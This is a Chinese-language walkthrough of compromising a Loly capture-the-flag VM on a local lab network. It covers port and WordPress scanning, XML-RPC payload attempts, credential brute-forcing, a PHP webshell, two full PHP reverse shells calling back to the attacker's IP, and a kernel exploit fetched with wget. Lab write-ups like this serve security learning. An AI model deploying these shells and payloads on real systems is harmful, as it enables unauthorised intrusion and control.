环境说明
使用了vmbox搭建
nat模式,IP段 为 10.0.2.0/24
kali ip:10.0.2.15
信息收集
探测存活主机
nmap -sP 10.0.2.0/24
探测目标主机端口
nmap -sV 10.0.2.6 -p 1-65535
目录扫描
dirb http://10.0.2.6/
依旧是80端口,依旧是目录扫描,这次发现了使用了wordpress cms,那么可能是远程代码,又或者主题上传getshell,具体是什么样的呢,继续渗透,看看会是那种猜测。
漏洞攻击
kali 中带有 扫描wordpress的的工具 wpscan
wpscan --url http://10.0.2.6/wordpress/
然后扫描到了他的版本是 5.5
有一个xml-rpc这个接口可以使用,可以理解为 存在xxe漏洞。
百度搜xml-rpc
访问链接,确定被激活了,支持post请求
搜索 有upload字样 试试上传文件,失败了
<methodCall><methodName>wp.uploadFile</methodName><params><param><value>/shell.php</value></param><param><value><?php eval($_POST['a']);?></value></param></params></methodCall>
读密码
<methodCall><methodName>pingback.ping</methodName><param></param><value><string>file:///var/log/apache2/access_log</string></value></param></param><value><string>file://localhost/wordpress/?p=1</string></value></param></params></methodCall>
密码爆破
但是需要知道绝路路径,太费时间,于是就通过wp.getUsersBlogs进行爆破
kali中也有对应的密码字典,所以也很方便。
burp抓包 添加变量进行爆破(刚开始爆破admin,发现博客主题是loly)
账号:loly
密码:fernando
还有一种方式,就是wpscan自带的爆破模块这里就不说了。
后台getshell
后台主题上传,或者在线改php文件,和之前推测的一样第二条。
访问后台的时候,跳转到了外网的,这是改一下本机的hosts文件 指向靶机ip
10.0.2.6 loly.lctmd,老外天天看英文不烦吗,不会改成中文,学学汉语吗
wogiao,我才发现我的kali 可以上外网。下载个谷歌 右键中文翻译吧。
找了半天,有个上传文件的地方
一句话木马,压缩zip
<?php eval($_POST['a']);?>访问
/wordpress/wp-content/banners/shell.php
c刀连接,淦 链接失败
反弹shell吧
<?phpset_time_limit(0);$ip="10.0.2.15";$port="5555";[email protected]($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);}?>
kali 监听
nc -lvnp 5555直接找flag吧,这次普通用户下没有flag了,
权限提升
使用find查找suid权限的文件
find / -perm -u=s -type f 2>/dev/null发现sudo可以,但是需要知道www的密码,翻翻源码,找下配置文件
cat /var/www/html/wordpress/wp-config.php看下passwd文件
有一个loly,切换用户,试试sudo
su没反应
更换bash也没反应
python3 -c "import pty; pty.spawn('/bin/bash')"应该是php脚本的问题,重新上传一个再试试
<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 [email protected]set_time_limit (0);$VERSION = "1.0";$ip = '10.10.10.10';$port = 9001;$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; sh -i';$daemon = 0;$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}}?>
哦哦噢噢噢噢噢噢噢噢噢噢噢噢噢噢
尝试sudo提权
lolylolyisabeautifulgirl
淦 没加进sudo组里
看看版本信息吧
uname -a 发现了内核好低
内核提权
依旧使用这个命令 搜索exp 然后复制到当前目录下,gcc编译
编译expgcc 45010.c -o rootpython -m http.server 800
靶机运行
wget http://10.0.2.15:800/root添加运行权限
chmod 755 rootwoc flag呢